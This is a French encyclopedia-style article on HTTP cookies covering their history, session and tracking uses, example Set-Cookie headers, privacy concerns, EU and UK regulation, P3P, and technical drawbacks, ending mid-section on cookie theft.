AccueilđŸ‡«đŸ‡·Chercher

Cookie (informatique)

Un cookie, aussi appelé témoin de connexion ou témoin, est une petite quantité de données échangées entre un serveur HTTP et un client HTTP, et qui permet de créer une session avec état lors de la visite d'un site Web.

InventĂ© en 1994, le cookie est un texte constituĂ© de paires clĂ©-valeur Ă©changĂ© par le protocole de communication HTTP. CrĂ©Ă© par un serveur HTTP, le cookie est envoyĂ© au client HTTP pour ĂȘtre enregistrĂ© un temps spĂ©cifiĂ© durant lequel il est renvoyĂ© tel quel au serveur Ă  chaque requĂȘte. La durĂ©e d'enregistrement peut s'Ă©tendre de quelques minutes Ă  quelques annĂ©es. Le cookie permet ainsi aux sites web d'identifier les internautes lorsqu'ils passent d'une page Web Ă  l'autre du site, voire lorsqu'ils reviennent des annĂ©es plus tard. Les cookies sont notamment utilisĂ©s pour identifier la session d'un internaute connectĂ© Ă  son compte informatique. La confidentialitĂ© des cookies est donc importante pour la sĂ©curitĂ© Internet. Plus gĂ©nĂ©ralement, les cookies servent Ă  lier Ă  une visite toute information d'Ă©tat, comme des prĂ©fĂ©rences d'affichage ou le contenu d'un panier d'achat.

L'utilisation de cookies par des entreprises de pistage web suscite de l'hostilité. En effet, ces cookies tiers liés par exemple à des banniÚres de publicité en ligne permettent de suivre les internautes visitant des sites Web sans rapport, si ce n'est l'entreprise sous-traitante de pistage. Les usages qui ne répondent pas à des contraintes strictement techniques ont été régulés par des lois comme la directive du 12 juillet 2002 sur la protection de la vie privée dans le secteur des communications électroniques de l'Union européenne. Les sites Web obéissant à cette directive permettent aux visiteurs d'accepter sélectivement les cookies[1]. Les navigateurs Web permettent également aux utilisateurs de gérer les cookies.

Historique

Le terme cookie dérive du terme anglais magic cookie[2], qui est un paquet de données qu'un programme reçoit et renvoie inchangé. En français, les cookies sont aussi appelés « témoin de connexion »[3] - [4] ou « témoin »[3] - [4].

Les cookies Ă©taient dĂ©jĂ  utilisĂ©s en informatique quand Lou Montulli[5] a eu l'idĂ©e de les utiliser dans les communications web en . En ce temps, il Ă©tait employĂ© de Netscape Communications. John Giannandrea et Lou Montulli ont Ă©crit la mĂȘme annĂ©e la premiĂšre spĂ©cification des cookies de Netscape Navigator. La version 0.9 bĂȘta de Mosaic Netscape, publiĂ©e le , intĂ©grait la technologie des cookies[6] - [7]. La premiĂšre utilisation des cookies (hors expĂ©rimentation) a Ă©tĂ© faite pour dĂ©terminer si les visiteurs du site web Netscape avaient dĂ©jĂ  visitĂ© le site auparavant. Montulli a dĂ©posĂ© une demande de brevet pour la technologie des cookies en 1995, et le brevet US 5774670 a Ă©tĂ© accordĂ© en 1998[8].

AprÚs avoir été implantés dans Netscape 0.9 beta en 1994, les cookies ont été intégrés dans Internet Explorer 2, publié en octobre 1995.

L'introduction des cookies n'a pas Ă©tĂ© largement connue du grand public pour autant. En particulier, les cookies Ă©taient acceptĂ©s par dĂ©faut dans les paramĂštres des navigateurs, et les utilisateurs n'Ă©taient pas informĂ©s de leur prĂ©sence. Certaines personnes Ă©taient au courant de l'existence des cookies au dĂ©but de l'annĂ©e 1995, mais le grand public n'apprit leur existence qu'aprĂšs la publication par le Financial Times d'un article le . La mĂȘme annĂ©e, les cookies reçurent beaucoup d'attention de la part des mĂ©dias, Ă  cause de possibles intrusions dans la vie privĂ©e. Le sujet des cookies fut discutĂ© dans deux consultations du Federal Trade Commission amĂ©ricain en 1996 et 1997.

Le dĂ©veloppement de la spĂ©cification officielle des cookies Ă©tait dĂ©jĂ  en cours. Les premiĂšres discussions sur la spĂ©cification officielle eurent lieu en avril 1995 sur la liste de discussion www-talk. Un groupe spĂ©cial de travail du IETF fut formĂ©. Deux propositions alternatives pour introduire un Ă©tat dans les transactions HTTP ont Ă©tĂ© proposĂ©es par Brian Behlendorf et David Kristol respectivement, mais le groupe, dirigĂ© par Kristol lui-mĂȘme, a dĂ©cidĂ© d'utiliser la spĂ©cification de Netscape comme point de dĂ©part. En fĂ©vrier 1996, le groupe de travail a dĂ©terminĂ© que les cookies tierce partie (third party cookies) Ă©taient une menace considĂ©rable Ă  la protection de la vie privĂ©e. La spĂ©cification produite par le groupe a finalement Ă©tĂ© publiĂ©e en tant que RFC 2109[9].

À partir de fin 2014, on voit un bandeau au sujet des cookies sur de nombreux sites. Il existe plusieurs extensions de navigateur permettant le non affichage du bandeau[10].

Utilisations

Gestion des sessions

Les cookies peuvent ĂȘtre utilisĂ©s pour maintenir les donnĂ©es relatives Ă  l'utilisateur durant sa navigation, mais aussi Ă  travers plusieurs visites. Les cookies ont Ă©tĂ© introduits pour donner un moyen d'implĂ©menter les paniers d'achat Ă©lectronique, des dispositifs permettant Ă  l'utilisateur d'accumuler les articles qu'il veut acheter durant sa navigation sur le site.

De nos jours, les applications comme les paniers d'achat enregistrent plutĂŽt la liste des articles dans une base de donnĂ©es sur un serveur, ce qui est prĂ©fĂ©rable ; que de les enregistrer dans le cookie lui-mĂȘme. Le serveur web envoie un cookie contenant un identifiant de session unique. Le navigateur web renvoie alors cet identifiant de session Ă  chaque requĂȘte suivante et les articles du panier sont enregistrĂ©s et associĂ©s avec ce mĂȘme identifiant unique de session.

Les cookies sont utiles dans le cadre de la connexion Ă  un site Ă  l'aide d'identifiants :

  1. L'application web envoie un cookie contenant un identifiant unique de session lors de la premiĂšre connexion ;
  2. L'utilisateur fournit ses identifiants (généralement un nom d'utilisateur et un mot de passe) lorsqu'il s'authentifie ;
  3. L'application web valide l'authentification et permet à l'utilisateur d'accéder au service ; le cookie permet alors de conserver la mémoire du fait que la connexion a été validée, et évite ainsi de redemander ses informations de connexion à l'utilisateur à chaque nouvel accÚs.

Personnalisation

Les cookies peuvent ĂȘtre utilisĂ©s pour mĂ©moriser l'information sur l'utilisateur d'un site, dans le but de lui montrer un contenu appropriĂ© dans le futur. Par exemple, un serveur web peut envoyer un cookie contenant le dernier nom d'utilisateur utilisĂ© pour se connecter Ă  ce site web, afin que ce nom d'utilisateur puisse ĂȘtre prĂ©-rempli lors des prochaines visites.

Beaucoup de sites web utilisent les cookies pour la personnalisation basĂ©e sur les prĂ©fĂ©rences des utilisateurs. Les utilisateurs sĂ©lectionnent leurs prĂ©fĂ©rences dans un formulaire et envoient celles-ci au serveur. Le serveur encode les prĂ©fĂ©rences dans un cookie et renvoie celui-ci au navigateur. Par la suite, Ă  chaque fois que l'utilisateur accĂšde Ă  une page de ce site, le navigateur renvoie le cookie et donc la liste des prĂ©fĂ©rences ; le serveur peut alors personnaliser la page d'aprĂšs les prĂ©fĂ©rences de l'utilisateur. Par exemple, le site web de WikipĂ©dia permet Ă  ses utilisateurs de choisir l'habillage du site qu'ils prĂ©fĂšrent. Le moteur de recherche Google permet Ă  ses utilisateurs (mĂȘme s'ils ne sont pas enregistrĂ©s) de choisir le nombre de rĂ©sultats qu'ils veulent voir sur chaque page de rĂ©sultats.

Pistage

Les cookies de pistage (ou traceurs) sont utilisĂ©s pour suivre les habitudes de navigation des utilisateurs d'internet. Cela peut ĂȘtre fait aussi en partie en utilisant l'adresse IP de l'ordinateur faisant une requĂȘte d'une page ou Ă  l'aide de l'en-tĂȘte HTTP « rĂ©fĂ©rant » que le client envoie Ă  chaque requĂȘte, mais les cookies permettent une plus grande prĂ©cision. Cela peut ĂȘtre fait comme dans l'exemple suivant :

  1. Si l'utilisateur fait appel Ă  une page d'un site, et que la requĂȘte ne contient pas de cookie, le serveur prĂ©sume que c'est la premiĂšre page visitĂ©e par l'utilisateur. Le serveur crĂ©e alors une chaĂźne alĂ©atoire et l'envoie au navigateur en mĂȘme temps que la page demandĂ©e ;
  2. À partir de ce moment, le cookie sera automatiquement envoyĂ© par le navigateur Ă  chaque fois qu'une nouvelle page du site sera appelĂ©e. Le serveur enverra la page comme d'habitude, mais enregistrera aussi l'URL de la page appelĂ©e, la date, l'heure de la requĂȘte et le cookie dans un fichier de journalisation.

En regardant le fichier de journalisation, il est alors possible de voir quelles pages l'utilisateur a visitĂ©es et dans quel ordre. Par exemple, si le fichier contient quelques requĂȘtes faites utilisant le cookie id=abc, cela peut Ă©tablir que toutes ces requĂȘtes proviennent du mĂȘme utilisateur. L'URL demandĂ©e, la date et l'heure associĂ©es aux requĂȘtes permettent de suivre la navigation de l'utilisateur Ă  la trace.

Les cookies tierces parties et les pixels espions, expliquĂ©s ci-dessous, permettent en plus le pistage Ă  travers diffĂ©rents sites. Le pistage dans un seul site est gĂ©nĂ©ralement utilisĂ© pour un usage statistique. Par contre, le pistage dans diffĂ©rents sites Ă  l'aide des cookies tierces parties est gĂ©nĂ©ralement utilisĂ© par les entreprises de publicitĂ© pour produire des profils d'utilisateurs anonymes (qui sont alors utilisĂ©s pour dĂ©terminer quelles publicitĂ©s devraient ĂȘtre montrĂ©es Ă  l'utilisateur et, si l’adresse email de l’utilisateur est connue, pour lui envoyer des mails correspondant Ă  ces publicitĂ©s).

Les cookies de pistage sont un risque d'atteinte Ă  la vie privĂ©e de l'utilisateur mais ils peuvent ĂȘtre supprimĂ©s facilement. La plupart des navigateurs rĂ©cents incluent une option pour supprimer automatiquement les cookies persistant Ă  la fermeture de l'application.

Les cookies tierce partie

Les images et autres objets contenus dans une page web peuvent rĂ©sider dans des serveurs diffĂ©rents de celui hĂ©bergeant la page. Pour afficher la page, le navigateur tĂ©lĂ©charge tous ces objets. La plupart des sites web contiennent des informations provenant de diffĂ©rentes sources. Par exemple, si l’utilisateur saisit www.exemple.com dans son navigateur, il y aura souvent des objets ou des publicitĂ©s sur une partie de la page qui proviendront de sources diffĂ©rentes, c'est-Ă -dire d'un domaine diffĂ©rent de www.exemple.com. Les cookies « premiĂšre » partie sont des cookies qui sont mis en place par le domaine inscrit dans la barre d'adresse du navigateur. Les cookies tierce partie sont mis en place par l'un des objets de la page qui proviennent d'un domaine diffĂ©rent.

Par dĂ©faut, les navigateurs comme Mozilla Firefox, Microsoft Internet Explorer et Opera acceptent les cookies tierce partie, mais les utilisateurs peuvent changer les paramĂštres dans les options du navigateur pour les bloquer. Il n'y a pas de risque de sĂ©curitĂ© inhĂ©rent aux cookies tierce partie qui permettent des fonctionnalitĂ©s pour le web, cependant ils servent aussi Ă  pister les internautes de site en site[11]. À compter de 2022, des acteurs majeurs comme Google ont annoncĂ© qu'ils mettraient fin aux cookies tierce partie, ce qui aura des implications majeures pour le marketing[12].

Des outils tels que Ghostery disponible pour tous les navigateurs permettent de bloquer les Ă©changes entre tierces parties.

Implémentation

Une interaction possible entre un navigateur web et le serveur hébergeant la page web. Le serveur envoie un cookie au navigateur et le navigateur le renvoie quand il appelle une autre page.

Les cookies sont de petites donnĂ©es envoyĂ©es par le serveur web au navigateur. Le navigateur les retourne inchangĂ©es au serveur, introduisant un Ă©tat (mĂ©moire des Ă©vĂ©nements antĂ©rieurs) dans la transaction HTTP qui autrement serait sans Ă©tat. Sans les cookies, chaque rĂ©cupĂ©ration de page web ou d'un composant d'une page web est un Ă©vĂ©nement isolĂ©, indĂ©pendant des autres requĂȘtes faites sur le mĂȘme site. En plus de pouvoir ĂȘtre mis en place par le serveur web, les cookies peuvent aussi ĂȘtre mis en place par des langages de script comme JavaScript, s'il est supportĂ© et autorisĂ© par le navigateur.

La spĂ©cification officielle des cookies suggĂšre que les navigateurs soient capables d'enregistrer et de renvoyer un nombre minimal de cookies. SpĂ©cifiquement, un navigateur devrait ĂȘtre capable de stocker au moins 300 cookies de quatre kilooctets chacun, et au moins 20 cookies pour un mĂȘme serveur ou domaine.

D'aprĂšs la section 3.1 de RFC 2965[13], les noms de cookies sont insensibles Ă  la casse.

Un cookie peut spécifier la date de son expiration, dans ce cas le cookie sera supprimé à cette date. Si le cookie ne spécifie pas de date d'expiration, le cookie est supprimé dÚs que l'utilisateur quitte son navigateur. En conséquence, spécifier une date d'expiration est un moyen de faire survivre le cookie à travers plusieurs sessions. Pour cette raison, les cookies avec une date d'expiration sont dits persistants. Un exemple d'application : un site de vente peut utiliser les cookies persistants pour enregistrer les articles que les utilisateurs ont placés dans leur panier d'achat (en réalité, le cookie peut faire référence à une entrée enregistrée dans une base de données du site de vente, et non pas dans votre ordinateur). Grùce à ce moyen, si les utilisateurs quittent leur navigateur sans faire un achat et y retournent plus tard, ils pourront trouver à nouveau les articles dans le panier. Si ces cookies ne donnaient pas de date d'expiration, ils expireraient à la fermeture du navigateur, et l'information sur le contenu du panier serait perdue.

Les cookies peuvent ĂȘtre limitĂ©s dans leur portĂ©e Ă  un domaine spĂ©cifique, un sous-domaine ou un chemin d'accĂšs sur le serveur qui les a crĂ©Ă©s.

Le transfert des pages web se fait Ă  l'aide du protocole de transfert hypertexte (HTTP). En ne tenant pas compte des cookies, les navigateurs appellent une page provenant des serveurs web en leur envoyant en gĂ©nĂ©ral un texte court appelĂ© requĂȘte HTTP[14].

Par exemple, pour accĂ©der Ă  la page www.example.org/index.html, les navigateurs se connectent au serveur www.example.org et envoient une requĂȘte qui ressemble Ă  celle-ci :

GET /index.html HTTP/1.1
Host: www.example.org
navigateur → serveur

Le serveur répond en envoyant la page demandée, précédée par un texte similaire, le tout étant appelé réponse HTTP. Ce paquet peut contenir des lignes demandant au navigateur de stocker des cookies :

HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: nom=valeur
(page HTML)
navigateur ← serveur

Le serveur envoie seulement la ligne Set-Cookie, si le serveur veut que le navigateur stocke un cookie. Set-Cookie est une requĂȘte pour que le navigateur stocke la chaĂźne nom=valeur et la renvoie dans toutes les futures requĂȘtes au serveur. Si le navigateur supporte les cookies et que les cookies sont permis dans les options du navigateur, le cookie sera inclus dans toutes les requĂȘtes suivantes faite au mĂȘme serveur. Par exemple, le navigateur appelle la page www.example.org/news.html en envoyant au serveur www.example.org la requĂȘte suivante :

GET /news.html HTTP/1.1
Host: www.example.org
Cookie: nom=valeur
Accept: */*
navigateur → serveur

Ceci est une requĂȘte pour une autre page du mĂȘme serveur, et diffĂšre de la premiĂšre au-dessus car elle contient une chaĂźne que le serveur a prĂ©cĂ©demment envoyĂ©e au navigateur. GrĂące Ă  ce moyen, le serveur sait que cette requĂȘte est reliĂ©e Ă  la prĂ©cĂ©dente. Le serveur rĂ©pond en envoyant la page appelĂ©e, et aussi en y ajoutant d'autres cookies.

La valeur du cookie peut ĂȘtre modifiĂ©e par le serveur en envoyant une nouvelle ligne Set-Cookie: nom=nouvelle_valeur en rĂ©ponse Ă  la page appelĂ©e. Le navigateur remplace alors l'ancienne valeur par la nouvelle.

La ligne Set-Cookie est gĂ©nĂ©ralement crĂ©Ă©e par un programme CGI ou un autre langage de script, et non par le serveur HTTP. Le serveur HTTP (exemple : Apache) ne fera que transmettre le rĂ©sultat du programme (un document prĂ©cĂ©dĂ© par l'en-tĂȘte contenant les cookies) au navigateur.

Les cookies peuvent aussi ĂȘtre mis en place par JavaScript ou d'autres langages similaires exĂ©cutĂ©s dans le navigateur, c'est-Ă -dire du cĂŽtĂ© du client plutĂŽt que du cĂŽtĂ© du serveur. En JavaScript, l'objet document.cookie est utilisĂ© dans ce but. Par exemple, l'instruction document.cookie = "tempĂ©rature=20" crĂ©e un cookie nommĂ© « tempĂ©rature » et de valeur 20.

Exemple d'une réponse HTTP de google.com, qui met en place un cookie avec des attributs.

En plus de la paire nom/valeur, un cookie peut aussi contenir une date d'expiration, un chemin, un nom de domaine et le type de connexion prĂ©vu, c'est-Ă -dire en clair ou chiffrĂ©e. La RFC 2965[13] dĂ©finit aussi que les cookies doivent avoir un numĂ©ro de version obligatoire, mais cela est gĂ©nĂ©ralement omis. Ces parties de donnĂ©es suivent la paire nom=nouvelle_valeur et sont sĂ©parĂ©es par des points virgules. Par exemple, un cookie peut ĂȘtre crĂ©Ă© par le serveur en envoyant une ligne Set-Cookie: nom=nouvelle_valeur; expires=date; path=/; domain=.exemple.org.

Les cookies expirent et ne sont alors pas envoyés par le navigateur au serveur dans les situations suivantes :

  • lorsque le navigateur est fermĂ©, si le cookie n'est pas persistant ;
  • lorsque la date d'expiration du cookie est dĂ©passĂ©e ;
  • lorsque la date d'expiration du cookie est modifiĂ©e (par le serveur ou le script) en une date du passĂ© ;
  • lorsque le navigateur supprime le cookie Ă  la demande de l'utilisateur.

La troisiÚme situation permet aux serveurs ou aux scripts de supprimer explicitement un cookie. Notons qu'il est possible avec le navigateur Web Google Chrome de connaßtre la date d'expiration d'un cookie en particulier en accédant aux paramÚtres du contenu. Un cookie enregistré sur un ordinateur peut trÚs bien y rester pendant plusieurs dizaines d'années si aucune procédure n'est faite pour l'effacer.

Idées reçues

Depuis leur introduction sur Internet, de nombreuses idĂ©es sur les cookies ont circulĂ© sur Internet et dans les mĂ©dias. En 1998, CIAC, une Ă©quipe de surveillance des incidents d'ordinateur du dĂ©partement de l'Énergie des États-Unis, a dĂ©terminĂ© que les failles de sĂ©curitĂ© des cookies Ă©taient « essentiellement non existantes » et a expliquĂ© que « l'information sur la provenance de vos visites et le dĂ©tail des pages web que vous avez visitĂ©es existe dĂ©jĂ  dans les fichiers de journalisation des serveurs web ». En 2005, Jupiter Research a publiĂ© les rĂ©sultats d'une Ă©tude, dans laquelle un pourcentage important des personnes interrogĂ©es a considĂ©rĂ© les affirmations suivantes :

  • les cookies sont comme des virus, ils infectent les disques durs des utilisateurs ;
  • les cookies gĂ©nĂšrent des pop-up ;
  • les cookies sont utilisĂ©s pour envoyer des spams ;
  • les cookies sont utilisĂ©s seulement pour la publicitĂ©.

Les cookies ne peuvent pas effacer ou lire l'information provenant de l'ordinateur de l'utilisateur. Cependant, les cookies permettent de dĂ©tecter les pages web visitĂ©es par un utilisateur sur un site donnĂ© ou un ensemble de sites. Ces informations peuvent ĂȘtre collectĂ©es dans un profil d'utilisateur pouvant ĂȘtre utilisĂ© ou revendu Ă  des tierces parties, ce qui peut poser de sĂ©rieux problĂšmes de protection de la vie privĂ©e. Certains profils sont anonymes, en ce sens qu'ils ne contiennent pas d'information personnelle, pourtant mĂȘme de tels profils peuvent ĂȘtre sujets Ă  caution.

Selon la mĂȘme Ă©tude, un grand pourcentage d'utilisateurs d'Internet ne savent pas comment supprimer les cookies. L'une des raisons pour lesquelles les gens ne font pas confiance aux cookies est que certains sites ont abusĂ© de l'aspect de l'identification personnelle des cookies et ont partagĂ© ces informations avec d'autres sources. Un grand pourcentage de la publicitĂ© ciblĂ©e et de courriels non sollicitĂ©s, considĂ©rĂ©s comme spam, provient de l'information glanĂ©e par les cookies de pistage.

En rĂ©alitĂ©, les cookies qui n'ont initialement pas Ă©tĂ© crĂ©Ă©s dans le but de rĂ©aliser des publicitĂ©s commerciales, ont donnĂ© le jour Ă  toute une industrie publicitaire qui selon le prĂ©sident de la commission digitale de l’Union des entreprises de conseil et achat mĂ©dia « donne des informations sur les internautes, notamment leur intĂ©rĂȘt pour tel ou tel produit, peut-ĂȘtre une intention d’achat »[15].

La suppression des cookies tiers prĂ©vue entre 2020 et 2022 est voulue pour limiter ces inconvĂ©nients mais pourrait profiter aux GAFAMs au dĂ©triment des autres publicitaires, les GAFAMs qui dĂ©tiennent dĂ©jĂ  les trois quarts du marchĂ© français sortiront renforcĂ©es de meilleures technologies d’annonce ciblĂ©e[15].

ParamĂštres du navigateur

La plupart des navigateurs supportent les cookies et permettent à l'utilisateur de les désactiver. Les options les plus courantes sont les suivantes :

  • activer ou dĂ©sactiver les cookies complĂštement, afin qu'ils soient acceptĂ©s ou bloquĂ©s constamment ;
  • permettre Ă  l'utilisateur de voir les cookies actifs dans une page donnĂ©e, en saisissant javascript: alert(document.cookie) dans la barre d'adresse du navigateur. Certains navigateurs incorporent un gestionnaire de cookies pour l'utilisateur qui peut voir et supprimer de façon sĂ©lective les cookies actuellement stockĂ©s par le navigateur.

La plupart des navigateurs permettent aussi une suppression totale des données personnelles qui inclut les cookies. Des modules complémentaires pour contrÎler les permissions des cookies existent aussi.

Vie privée et cookies tierce partie

Dans cet exemple fictif, une entreprise de publicité a placé des banniÚres dans deux sites web. En hébergeant les banniÚres sur ses serveurs et en utilisant les cookies tierce partie, l'entreprise de publicité est capable de suivre la navigation de l'utilisateur à travers ces deux sites.

Les cookies ont des implications importantes dans la vie privĂ©e et l'anonymat des utilisateurs du web. Bien que les cookies soient seulement renvoyĂ©s au serveur les ayant mis en place ou Ă  un serveur appartenant au mĂȘme domaine Internet, une page web peut cependant contenir des images ou d'autres composants stockĂ©s sur des serveurs appartenant Ă  d'autres domaines. Les cookies qui sont mis en place durant la rĂ©cupĂ©ration de ces composants externes sont appelĂ©s cookies tierce partie. Cela inclut les cookies provenant des fenĂȘtres pop-up indĂ©sirables.

Les entreprises de publicitĂ© utilisent les cookies tierce partie pour pister les utilisateurs Ă  travers les diffĂ©rents sites qu'ils visitent. En particulier, une entreprise de publicitĂ© peut pister un utilisateur Ă  travers toutes les pages oĂč elle a placĂ© des images de publicitĂ© ou un pixel espion. La connaissance des pages visitĂ©es par l'utilisateur permet Ă  l'entreprise de publicitĂ© de cibler les prĂ©fĂ©rences publicitaires de l'utilisateur.

La possibilité de construire un profil d'utilisateur est considérée par certains comme une intrusion dans la vie privée, particuliÚrement quand le pistage est fait à travers différents domaines utilisant les cookies tierce partie. Pour cette raison, certains pays ont une législation sur les cookies.

Le gouvernement des États-Unis a mis en place des rĂšgles strictes sur la mise en place des cookies en 2000, aprĂšs qu'il fut rĂ©vĂ©lĂ© que le bureau des politiques antidrogues de la Maison Blanche utilisait les cookies pour suivre les ordinateurs des utilisateurs regardant en ligne les publicitĂ©s antidrogues. En 2002, l'activiste de la vie privĂ©e Daniel Brandt a dĂ©couvert que la CIA laissait des cookies persistants sur les ordinateurs qui avaient visitĂ© ses sites web. Une fois informĂ©e de cette violation, la CIA dĂ©clara que ces cookies n'Ă©taient pas intentionnellement envoyĂ©s et cessa de les mettre en place. Le 25 dĂ©cembre 2005, Brandt a dĂ©couvert que la National Security Agency (NSA) avait laissĂ© deux cookies persistants sur des ordinateurs de visiteurs Ă  cause d'une mise Ă  jour logicielle. AprĂšs avoir Ă©tĂ© informĂ©e, la NSA dĂ©sactiva immĂ©diatement les cookies.

Au Royaume-Uni, la « Cookie law », entrĂ©e en vigueur le 25 mai 2012, oblige les sites Ă  dĂ©clarer leurs intentions, permettant ainsi aux utilisateurs de choisir s'ils veulent laisser des traces ou pas de leur passage sur internet. Ils peuvent ainsi ĂȘtre Ă  l'abri du ciblage publicitaire. Cependant, d'aprĂšs The Guardian[16], le consentement des internautes n'est pas obligatoirement explicite ; des modifications ont Ă©tĂ© apportĂ©es aux modalitĂ©s de consentement de l'usager, le rendant ainsi implicite[17].

Directive 2002/58 sur la vie privée

La directive 2002/58 vie privĂ©e et communications Ă©lectroniques, contient des rĂšgles sur l'utilisation des cookies. En particulier, l'article 5, paragraphe 3 de cette directive exige que le stockage des donnĂ©es (comme les cookies) dans l'ordinateur de l'utilisateur puisse seulement ĂȘtre fait si :

  • l'utilisateur est informĂ© de la façon dont les donnĂ©es sont utilisĂ©es ;
  • il est donnĂ© Ă  l'utilisateur la possibilitĂ© de refuser cette opĂ©ration de stockage. Cependant, cet article statue aussi que le stockage de donnĂ©es pour raisons techniques est exemptĂ© de cette loi.

Devant ĂȘtre mise en application Ă  partir d'octobre 2003, la directive n'a cependant Ă©tĂ© que trĂšs imparfaitement mise en pratique selon un rapport de dĂ©cembre 2004, qui signalait en outre que certains États-membres (Slovaquie, Lettonie, GrĂšce, Belgique et Luxembourg) n'avaient pas encore transposĂ© la directive en droit interne.

Selon l'avis du G29 de 2010[18], cette directive qui conditionne notamment l'usage des cookies Ă  des fins de publicitĂ© comportementale au consentement explicite de l'internaute demeure trĂšs mal appliquĂ©e. En fait la plupart des sites le font de façon non conforme Ă  la directive, en se limitant Ă  une simple « banniĂšre » informant de l'utilisation de « cookies » sans donner d'information sur les utilisations, sans diffĂ©rencier les cookies « techniques » des cookies de « pistage », ni d'offrir de choix rĂ©el Ă  l’utilisateur dĂ©sirant maintenir les cookies techniques (comme les cookies de gestion du panier d'achat) et refuser les cookies de « pistage ». De fait de nombreux sites ne fonctionnent pas correctement si les cookies sont refusĂ©s, ce qui n'est ni conforme Ă  la directive 2002/58 ni Ă  la directive 95/46 (Protection des donnĂ©es personnelles).

Directive 2009/136/CE

Cette matiÚre a été actualisée par la directive 2009/136/CE datée du 25 novembre 2009 qui indique que le « stockage d'informations, ou l'obtention de l'accÚs à des informations déjà stockées, dans l'équipement terminal d'un abonné ou d'un utilisateur n'est permis qu'à condition que l'abonné ou l'utilisateur ait donné son accord, aprÚs avoir reçu, dans le respect de la directive 95/46/CE, une information claire et complÚte, entre autres sur les finalités du traitement ». La nouvelle directive renforce donc les obligations préalables au placement de cookies sur l'ordinateur de l'internaute.

Dans les considĂ©rations prĂ©alables de la directive, le lĂ©gislateur europĂ©en prĂ©cise toutefois : « Lorsque cela est techniquement possible et effectif, conformĂ©ment aux dispositions pertinentes de la directive 95/46/CE, l'accord de l'utilisateur en ce qui concerne le traitement peut ĂȘtre exprimĂ© par l'utilisation des paramĂštres appropriĂ©s d'un navigateur ou d'une autre application ». Mais en fait aucun navigateur Ă  ce jour ne permet de dissocier les cookies techniques indispensables de ceux optionnels qui devraient ĂȘtre laissĂ©s au choix de l’utilisateur.

Cette nouvelle directive a Ă©tĂ© transposĂ©e par les dĂ©putĂ©s belges en juillet 2012. Une Ă©tude de 2014 montre que mĂȘme les dĂ©putĂ©s peinent Ă  appliquer les contraintes de la directive[19].

Limites de la CNIL

En France, le Conseil d'État considĂšre que la CNIL ne peut « lĂ©galement interdire (
) les « cookies walls », pratique qui consiste Ă  bloquer l’accĂšs Ă  un site Internet en cas de refus des cookies » : « En dĂ©duisant une telle interdiction de la seule exigence d’un consentement libre de l’utilisateur au dĂ©pĂŽt de traceurs posĂ© par le rĂšglement europĂ©en sur la protection des donnĂ©es RGPD, la CNIL a excĂ©dĂ© ce qu’elle pouvait lĂ©galement faire »[20].

P3P

La spécification du P3P inclut la possibilité pour un serveur d'énoncer une politique en matiÚre de protection de la vie privée, qui définit quel genre d'information il collecte et dans quel but. Ces politiques incluent (mais ne sont pas limitées à) l'utilisation de l'information collectée en utilisant les cookies. D'aprÚs les définitions du P3P, un navigateur peut accepter ou rejeter les cookies en comparant les politiques en matiÚre de protection de la vie privée avec les préférences de l'utilisateur ou en demandant à l'utilisateur, en lui présentant la politique en matiÚre de protection de la vie privée déclarée par le serveur.

Beaucoup de navigateurs, incluant Apple Safari et Microsoft Internet Explorer versions 6 et 7, supportent le P3P qui permet au navigateur de déterminer s'il doit accepter le stockage des cookies tierce partie. Le navigateur Opera permet aux utilisateurs de refuser les cookies tierce partie et de créer un profil de sécurité global et spécifique pour les domaines Internet. Mozilla Firefox version 2 avait abandonné le support du P3P mais l'a réintégré dans la version 3.

Les cookies tierce partie peuvent ĂȘtre bloquĂ©s par la plupart des navigateurs afin d'augmenter le respect de la vie privĂ©e et rĂ©duire le pistage publicitaire, ceci sans affecter nĂ©gativement l'expĂ©rience web de l'utilisateur. Beaucoup de rĂ©gies de publicitĂ© offrent une option opt out Ă  la publicitĂ© ciblĂ©e, en mettant en place un cookie gĂ©nĂ©rique dans le navigateur qui dĂ©sactive ce ciblage mais une telle solution n'est pratiquement pas efficace, quand elle est respectĂ©e, car ce cookie gĂ©nĂ©rique est effacĂ© dĂšs que l'utilisateur supprime ces cookies, ce qui annule la dĂ©cision d'opt out[21].

Inconvénients des cookies

En plus des problĂšmes d'atteinte Ă  la vie privĂ©e, les cookies ont aussi quelques inconvĂ©nients techniques. En particulier, ils n'identifient pas toujours exactement les utilisateurs, ils peuvent ralentir la performance des sites lorsqu'en grand nombre, ils peuvent ĂȘtre utilisĂ©s pour des attaques de sĂ©curitĂ© et ils sont en oppositions avec le transfert reprĂ©sentatif d'Ă©tat, style architectural du logiciel.

Identification imprécise

Si plus d'un navigateur est utilisĂ© sur un ordinateur, dans chacun d'eux il y a toujours une unitĂ© de stockage sĂ©parĂ©e pour les cookies. Par consĂ©quent les cookies n'identifient pas une personne, mais la combinaison d'un compte utilisateur, d'un ordinateur, et d'un navigateur web. Ainsi, n'importe qui peut utiliser ces comptes, les ordinateurs, ou les navigateurs qui ont la panoplie des cookies. De mĂȘme, les cookies ne font pas la diffĂ©rence entre les multiples utilisateurs qui partagent le mĂȘme compte d'utilisateur, l'ordinateur, et le navigateur comme dans les « internet cafĂ©s » ou tous lieux donnant accĂšs libre Ă  des ressources informatiques.

Mais en pratique cette affirmation s'avĂšre fallacieuse dans la majoritĂ© des cas du fait qu'aujourd'hui un ordinateur « personnel » (ou un smartphone, ou tablette ce qui est pire) est utilisĂ© majoritairement par un seul individu cela revient Ă  cibler une personne prĂ©cise et Ă  travers le volume d’information collectĂ©e arriver Ă  un ciblage personnalisĂ© mĂȘme si la personne n'est pas « nommĂ©ment » identifiĂ©e.

Un cookie peut ĂȘtre volĂ© par un autre ordinateur sur le rĂ©seau.

Durant l'opĂ©ration normale, les cookies sont renvoyĂ©s entre le serveur (ou un groupe de serveurs dans le mĂȘme domaine) et le navigateur de l'ordinateur de l'utilisateur. Puisque les cookies peuvent contenir des informations sensibles (nom de l'utilisateur, un mot de passe utilisĂ© pour une authentification, etc.), leurs valeurs ne devraient pas ĂȘtre accessibles aux autres ordinateurs. Le vol de cookie est un acte d'interception des cookies par un tiers non autorisĂ©[22].

